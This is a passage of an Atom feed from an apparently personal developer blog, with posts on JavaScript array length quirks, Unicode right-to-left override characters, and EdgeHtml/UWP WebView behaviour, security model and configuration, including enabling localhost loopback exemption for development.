&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you&#39;d expect given what decreasing length does, increasing length works similarly:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 7&lt;/span&gt;&lt;br&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;,&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 1,2,3,4,5,,&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The length property is not configurable so you can&#39;t delete it. There&#39;s something I like about telling JavaScript to delete length and its just like, &#39;nah&#39;.&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// false&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More fun: The Array functions don&#39;t care if they act on an Array. They only require an object with numbered properties and a length property:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; o &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string-property property&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;b&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token string-property property&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;a&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token string-property property&quot;&gt;&#39;length&#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token class-name&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;o&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// {0: &#39;a&#39;, 1: &#39;b&#39;, length: 2}&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token class-name&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;o&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// [&#39;b&#39;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that I have an object with a configurable &lt;code&gt;length&lt;/code&gt; property I can delete the &lt;code&gt;length&lt;/code&gt;. After that the Array functions don&#39;t like my object anymore. But they don&#39;t complain. They still produce something:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt; o&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token class-name&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;o&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// []&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token class-name&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;o&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;,&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &#39;&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>Right-To-Left Override Twitter Name</title>
		<link href="https://deletethis.net/dave/2020-10/Right-To-Left+Override+Twitter+Name/"/>
		<updated>2020-10-21T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2020-10/Right-To-Left+Override+Twitter+Name/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Its rare to find devs anticipating &lt;a href=&quot;https://en.wikipedia.org/wiki/Unicode_control_characters&quot;&gt;Unicode control characters&lt;/a&gt; showing up in user input. And the most fun when unanticipated
    is the &lt;a href=&quot;https://www.unicode.org/reports/tr9/&quot;&gt;Right-To-Left Override character U+202E&lt;/a&gt;. Unicode characters have an implicit direction so that for example by default Hebrew characters
    are rendered from right to left, and English characters are rendered left to right. The override characters force an explicit direction for all the text that follows.
  &lt;/p&gt;&lt;p&gt;
    I chose my Twitter display name to include the HTML encoding of the Right-To-Left Override character &lt;code&gt;#x202E;&lt;/code&gt; as a sort of joke or shout out to my favorite Unicode control character.
    I did not anticipate that some Twitter clients in some of their UI would fail to encode it correctly. There&#39;s no way I can remove that from my display name now.
  &lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://twitter.com/SeanOnTwt/status/1238621896033185792&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;686&quot; data-original-width=&quot;943&quot; height=&quot;233&quot; src=&quot;https://lh3.googleusercontent.com/-Au3kmWbDskY/X5EVrJiAcgI/AAAAAAAAGHA/Y4ovPZvSfqcLqlP2O8cbzcVfspU3_76-ACNcBGAsYHQ/image.png&quot; width=&quot;320&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;p&gt;
    Try it on Amazon.
  &lt;/p&gt;&lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://twitter.com/jdalton/status/946494105147777024&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;390&quot; data-original-width=&quot;1175&quot; height=&quot;106&quot; src=&quot;https://lh3.googleusercontent.com/-rg5Pc6WRAX4/X5EWfAlovpI/AAAAAAAAGHI/hm2GK7SAGLMEXEdQ7k_Lipd9A7psDrklQCNcBGAsYHQ/image.png&quot; width=&quot;320&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;
    How about pages that want to tell you about the U+202E. 
  &lt;/div&gt;&lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://lh3.googleusercontent.com/-DkpiukXPx2w/X5EdVyicxII/AAAAAAAAGHU/1ikdX1z6aSIbtT-98prUIGmCXZmWPH84wCNcBGAsYHQ/image.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;449&quot; data-original-width=&quot;1284&quot; height=&quot;112&quot; src=&quot;https://lh3.googleusercontent.com/-DkpiukXPx2w/X5EdVyicxII/AAAAAAAAGHU/1ikdX1z6aSIbtT-98prUIGmCXZmWPH84wCNcBGAsYHQ/image.png&quot; width=&quot;320&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Scrollbars in EdgeHtml WebView and Edge browser</title>
		<link href="https://deletethis.net/dave/2019-08/Scrollbars+in+EdgeHtml+WebView+and+Edge+browser/"/>
		<updated>2019-08-22T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2019-08/Scrollbars+in+EdgeHtml+WebView+and+Edge+browser/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    The scrollbars in UWP WebView and in Edge have different default behavior leading to many emails to my team. (Everything I talk about here is for the EdgeHtml based WebView and Edge browser and
    does not apply to the Chromium based Edge browser and WebView2).
  &lt;/p&gt;&lt;p&gt;
    There is a Edge only &lt;code&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/-ms-overflow-style&quot;&gt;-ms-overflow-style&lt;/a&gt;&lt;/code&gt; CSS property that controls scroll behavior. We have a
    different default for this in the WebView as compared to the Edge browser. If you want the appearance of the scrollbar in the WebView to match the browser then you must explicitly set that CSS
    property. The Edge browser default is &lt;code&gt;scrollbar&lt;/code&gt; which gives us a Windows desktop styled non-auto-hiding scrollbar. The WebView default is &lt;code&gt;-ms-autohiding-scrollbar&lt;/code&gt; which
    gives a sort of compromise between desktop and UWP app scrollbar behavior. In this configuration it is auto-hiding. When used with the mouse you&#39;ll get Windows desktop styled scrollbars and when
    used with touch you&#39;ll get the UWP styled scrollbars.
  &lt;/p&gt;&lt;p&gt;
    Since WebViews are intended to be used in apps this style is the default in order to better match the app&#39;s scrollbars. However this difference between the browser and WebView has led to
    confusion.
  &lt;/p&gt;&lt;p&gt;
    Here’s an &lt;a href=&quot;https://jsfiddle.net/5vfrhtyb/&quot;&gt;-ms-overflow-style JSFiddle&lt;/a&gt; showing the difference between the two styles. Try it in the Edge browser and in WebView. An easy way to try it
    in the Edge WebView is using the &lt;a href=&quot;https://www.microsoft.com/en-us/p/javascript-browser/9nblggh1z7vx?rtc=1&amp;amp;activetab=pivot%3Aoverviewtab&quot;&gt;JavaScript Browser&lt;/a&gt;.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Edge browser and JavaScript UWP app security model comparison</title>
		<link href="https://deletethis.net/dave/2018-11/Edge+browser+and+JavaScript+UWP+app+security+model+comparison/"/>
		<updated>2018-11-29T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2018-11/Edge+browser+and+JavaScript+UWP+app+security+model+comparison/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    There are two main differences in terms of security between a JavaScript UWP app and the Edge browser:
  &lt;/p&gt;&lt;h2&gt;
    Process Model
  &lt;/h2&gt;&lt;p&gt;
    A JavaScript UWP app has one process (technically not true with background tasks and other edge cases but ignoring that for the moment) that runs in the corresponding appcontainer defined by the
    app&#39;s appx manifest. This one process is where edgehtml is loaded and is rendering HTML, talking to the network, and executing script. Specifically, the UWP main UI thread is the one where your
    script is running and calling into WinRT.
  &lt;/p&gt;&lt;p&gt;
    In the Edge browser there is a browser process running in the same appcontainer defined by its appx manifest, but there are also tab processes. These tab processes are running in restricted app
    containers that have fewer appx capabilities. The browser process has XAML loaded and coordinates between tabs and handles some (non-WinRT) brokering from the tab processes. The tab processes
    load edgehtml and that is where they render HTML, talk to the network and execute script.
  &lt;/p&gt;&lt;p&gt;
    There is no way to configure the JavaScript UWP app&#39;s process model but using WebViews you can approximate it. You can create out of process WebViews and to some extent configure their
    capabilities, although not to the same extent as the browser. The WebView processes in this case are similar to the browser&#39;s tab processes. See the &lt;a href=&quot;https://docs.microsoft.com/en-us/microsoft-edge/hosting/webview/mswebviewprocess#createwebviewasync&quot;&gt;MSWebViewProcess object&lt;/a&gt; for configuring out of process WebView creation. I also
    implemented &lt;a href=&quot;https://deletethis.net/dave/2018-05/Tiny+browser+features%3A+JSBrowser+crash+resistance&quot;&gt;out of proc WebView tabs&lt;/a&gt; in my JSBrowser fork.
  &lt;/p&gt;&lt;h2&gt;
    ApplicationContentUriRules
  &lt;/h2&gt;&lt;p&gt;
    The ApplicationContentUriRules (ACUR) section of the appx manifest lets an application define what URIs are considered app code. See a previous post for &lt;a href=&quot;https://deletethis.net/dave/2017-06/Application+Content+URI+Rule+effects&quot;&gt;the list of ACUR effects&lt;/a&gt;.
  &lt;/p&gt;&lt;p&gt;
    Notably app code is able to access WinRT APIs. Because of this, DOM security restrictions are loosended to match what is possible with WinRT.
  &lt;/p&gt;&lt;p&gt;
    Privileged DOM APIs like geolocation, camera, mic etc require a user prompt in the browser before use. App code does not show the same browser prompt. There still may be an OS prompt – the same
    prompt that applies to any UWP app, but that’s usually per app not per origin.
  &lt;/p&gt;&lt;p&gt;
    App code also gets to use XMLHttpRequest or fetch to access cross origin content. Because UWP apps have separate state, cross origin here might not mean much to an attacker unless your app also
    has the user login to Facebook or some other interesting cross origin target.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>GoBack/GoForward in Win10 UWP WebView</title>
		<link href="https://deletethis.net/dave/2018-10/GoBack-GoForward+in+Win10+UWP+WebView/"/>
		<updated>2018-10-23T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2018-10/GoBack-GoForward+in+Win10+UWP+WebView/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    The GoBack and GoForward methods on the UWP WebView (x-ms-webview in HTML, Windows.UI.Xaml.Controls.WebView in XAML, and Windows.Web.UI.Interop.WebViewControl in Win32) act the same as the Back
    and Forward buttons in the Edge browser. They don&#39;t necessarily change the top level document of the WebView. If inside the webview an iframe navigates then that navigation will be recorded in
    the forward/back history and the GoBack / GoForward call may result in navigating that iframe. This makes sense as an end user using the Edge browser since if I click a link to navigate one place
    and then hit Back I expect to sort of undo that most recent navigation regardless of if that navigation happened in an iframe or the top level document.
  &lt;/p&gt;&lt;p&gt;
    If that doesn&#39;t make sense for your application and you want to navigate forward or back ignoring iframe navigates, unfortunately there&#39;s no perfect workaround.
  &lt;/p&gt;&lt;p&gt;
    One workaround could be to try calling GoBack and then checking if a FrameNavigationStarting event fires or a NavigationStarting event fires. If a frame navigates then try calling GoBack again.
    There could be async races in this case since other navigates could come in and send you the wrong signal and interrupt your multi step GoBack operation.
  &lt;/p&gt;&lt;p&gt;
    You could also try keeping track of all top level document navigations and manually navigate back to the URIs you care about. However, GoBack and GoForward also restore some amount of user state
    (form fills etc) in addition to navigating. Manually calling navigate will not give this same behavior.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Changing the User Agent string in UWP WebView</title>
		<link href="https://deletethis.net/dave/2018-10/Changing+the+User+Agent+string+in+UWP+WebView/"/>
		<updated>2018-10-23T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2018-10/Changing+the+User+Agent+string+in+UWP+WebView/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    There&#39;s no perfect way to change the user agent string for the UWP WebView (x-ms-webview in HTML, Windows.UI.Xaml.Controls.WebView in XAML, and Windows.Web.UI.Interop.WebViewControl in Win32) but
    there are two imperfect methods folks end up using.
  &lt;/p&gt;&lt;p&gt;
    The first is to call UrlMkSetSessionOption. This is an old public API that allows you to configure various arcane options including one that is the default user agent string for requests running
    through urlmon. This API is allowed by the Microsoft Store for UWP apps. The change it applies is process wide which has two potential drawbacks. If you want to be able to have different UA
    strings set for different requests from a WebView that&#39;s not really possible with this solution. The other drawback is if you&#39;re using out of process WebView, you need to ensure you&#39;re calling
    into UrlMkSetSessionOption in the WebView&#39;s process. You&#39;ll need to write third party WinRT that calls UrlMkSetSessionOption, create the out of proc WebView, navigate it to some trusted local
    page, use AddWebAllowedObject or provide that URI WinRT access, and call into your third party WinRT. You&#39;ll need to do that for any new WebView process you create.
  &lt;/p&gt;&lt;p&gt;
    The second less generally applicable solution is to use NavigateWithHttpRequestMessage and set the User-Agent HTTP header. In this case you get to control the scope of the user agent string
    changes but has the limitations that not all sub resource downloads will use this user agent string and for navigations you don&#39;t initiate you have to manually intercept and re-request being
    careful to transfer over all POST body state and HTTP headers correctly. That last part is not actually possible for iframes.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Windows.Web.UI.Interop.WebViewControl localhost access</title>
		<link href="https://deletethis.net/dave/2018-07/Windows.Web.UI.Interop.WebViewControl+localhost+access/"/>
		<updated>2018-07-25T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2018-07/Windows.Web.UI.Interop.WebViewControl+localhost+access/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    If you&#39;re developing with the new &lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/api/windows.web.ui.interop.webviewcontrol&quot;&gt;Windows.Web.UI.Interop.WebViewControl&lt;/a&gt; you may have noticed you
    cannot navigate to localhost HTTP servers. This is because the WebViewControl&#39;s WebView process is a UWP process. All UWP processes by default cannot use the loopback adapter as a security
    precaution. For development purposes you can allow localhost access using the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/apps/hh780593.aspx&quot;&gt;checknetisolation command line tool&lt;/a&gt;
    on the WebViewControl&#39;s package just as you can for any other UWP app. The command should be the following:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;checknetisolation loopbackexempt -a -n=Microsoft.Win32WebViewHost_cw5n1h2txyewy&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    As a warning checknetisolation is not good on errors. If you attempt to add a package but get its package family name wrong, checknetisolation just says OK:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;C:&#92;Users&#92;davris&amp;gt;checknetisolation LoopbackExempt -a -n=Microsoft.BingWeather_4.21.2492.0_x86__8wekyb3d8bbwe&lt;br&gt;OK.&lt;/code&gt;&lt;/pre&gt;And if you then list the result of the add with the
  bad name you&#39;ll see the following:
  &lt;pre&gt;&lt;code&gt;[1] -----------------------------------------------------------------&lt;br&gt;    Name: AppContainer NOT FOUND&lt;br&gt;    SID:  S-1-15-...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    There&#39;s also a &lt;a href=&quot;https://github.com/tiagonmas/Windows-Loopback-Exemption-Manager&quot;&gt;UI tool for modifying loopback exemption&lt;/a&gt; for packages available on GitHub and also one available with
    Fiddler.
  &lt;/p&gt;&lt;p&gt;
    As an additional note, I mentioned above you can try this for development. Do not do this in shipping products as this turns off the security protection for any consumer of the WebViewControl.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Win10 PWA Terminology</title>
		<link href="https://deletethis.net/dave/2018-05/Win10+PWA+Terminology/"/>
		<updated>2018-05-31T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2018-05/Win10+PWA+Terminology/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Folks familiar with JavaScript UWP apps in Win10 have often been confused by what PWAs in Win10 actually are. TLDR: PWAs in Win10 are simply JavaScript UWP apps. The main difference between these
    JS UWP Apps and our non-PWA JS UWP apps are our target end developer audience, and how we get Win10 PWAs into the Microsoft Store. See this &lt;a href=&quot;https://blogs.windows.com/msedgedev/2018/02/06/welcoming-progressive-web-apps-edge-windows-10/&quot;&gt;Win10 blog post on PWAs on Win10&lt;/a&gt; for related info.
  &lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-n9rUPrvz1R0/WxBrwedBw2I/AAAAAAAABy8/t8fVGO92wCMl3Fl8JBT5qmNjWd9TyWgqACLcBGAs/s1600/pwa-diagram.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;271&quot; data-original-width=&quot;705&quot; src=&quot;https://2.bp.blogspot.com/-n9rUPrvz1R0/WxBrwedBw2I/AAAAAAAABy8/t8fVGO92wCMl3Fl8JBT5qmNjWd9TyWgqACLcBGAs/s1600/pwa-diagram.png&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2&gt;
    Web App
  &lt;/h2&gt;&lt;p&gt;
    On the web a subset of web sites are web apps. These are web sites that have app like behavior - that is a user might call it an app like Outlook, Maps or Gmail. And they may also have a &lt;a href=&quot;https://www.w3.org/TR/appmanifest/&quot;&gt;W3C app manifest&lt;/a&gt;.
  &lt;/p&gt;&lt;p&gt;
    A subset of web apps are progressive web apps. Progressive web apps are web apps that have a W3C app manifest and a &lt;a href=&quot;https://www.w3.org/TR/service-workers-1/&quot;&gt;service worker&lt;/a&gt;. Various
    OSes are beginning to support PWAs as first class apps on their platform. This is true for Win10 as well in which PWAs are run as a WWA.
  &lt;/p&gt;&lt;h2&gt;
    Windows Web App
  &lt;/h2&gt;&lt;p&gt;
    In Win10 a WWA (Windows Web App) is an unofficial term for a JavaScript UWP app. These are UWP apps so they have an AppxManifest.xml, they are packaged in an Appx package, they run in an App
    Container, they use WinRT APIs, and are installed via the Microsoft Store. Specific to WWAs though, is that the AppxManifest.xml specifies a StartPage attribute identifying some HTML content to
    be used as the app. When the app is activated the OS will create a WWAHost.exe process that hosts the HTML content using the EdgeHtml rendering engine.
  &lt;/p&gt;&lt;h2&gt;
    Packaged vs Hosted Web App
  &lt;/h2&gt;&lt;p&gt;
    Within that we have a notion of a packaged web app and an HWA (hosted web app). There&#39;s no real technical distinction for the end developer between these two. The only real difference is whether
    the StartPage identifies remote HTML content on the web (HWA), or packaged HTML content from the app&#39;s appx package (packaged web app). An end developer may create an app that is a mix of these
    as well, with HTML content in the package and HTML content from the web. These terms are more like ends on a continuum and identifying two different developer scenarios since the underlying
    technical aspect is pretty much identical.
  &lt;/p&gt;&lt;h2&gt;
    Win10 PWA
  &lt;/h2&gt;&lt;p&gt;
    Win10 PWAs are simply HWAs that specify a StartPage of a URI for a PWA on the web. These are still JavaScript UWP apps with all the same behavior and abilities as other UWP apps. We have two ways
    of getting PWAs into the Microsoft Store as Win10 PWAs. The first is &lt;a href=&quot;https://www.pwabuilder.com/&quot;&gt;PWA Builder&lt;/a&gt; which is a tool that helps PWA end developers create and submit to the
    Microsoft Store a Win10 PWA appx package. The second is a crawler that runs over the web looking for PWAs which we convert and submit to the Store using an automated PWA Builder-like tool to
    create a Win10 PWA from PWAs on the web (see &lt;a href=&quot;https://blogs.windows.com/msedgedev/2018/02/06/welcoming-progressive-web-apps-edge-windows-10/&quot;&gt;Welcoming PWAs to Win10&lt;/a&gt; for more info).
    In both cases the conversion involves examining the PWAs W3C app manifest and producing a corresponding AppxManifest.xml. Not all features supported by AppxManifest.xml are also available in the
    W3c app manifest. But the result of PWA Builder can be a working starting point for end developers who can then update the AppxManifest.xml as they like to support features like share targets or
    others not available in W3C app manifests.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Tiny browser features: JSBrowser crash resistance</title>
		<link href="https://deletethis.net/dave/2018-05/Tiny+browser+features-+JSBrowser+crash+resistance/"/>
		<updated>2018-05-13T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2018-05/Tiny+browser+features-+JSBrowser+crash+resistance/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/david-risney/JSBrowser&quot;&gt;JSBrowser&lt;/a&gt; is a basic browser built as a Win10 JavaScript UWP app around the WebView HTML element. Its fun and relatively simple to
    implement tiny browser features in JavaScript and in this post I&#39;m implementing crash resistance.
  &lt;/p&gt;&lt;p&gt;
    The normal DOM mechanisms for &lt;a href=&quot;https://docs.microsoft.com/en-us/microsoft-edge/webview#remarks&quot;&gt;creating an HTML WebView&lt;/a&gt; create an in-process WebView, in which the WebView runs on a
    unique UI thread. But we can use the MSWebView constructor instead to create an out-of-process WebView in which the WebView runs in its own distinct WebView process. Unlike an in-process WebView,
    Web content running in an out-of-process WebView can only crash the WebView process and not the app process.
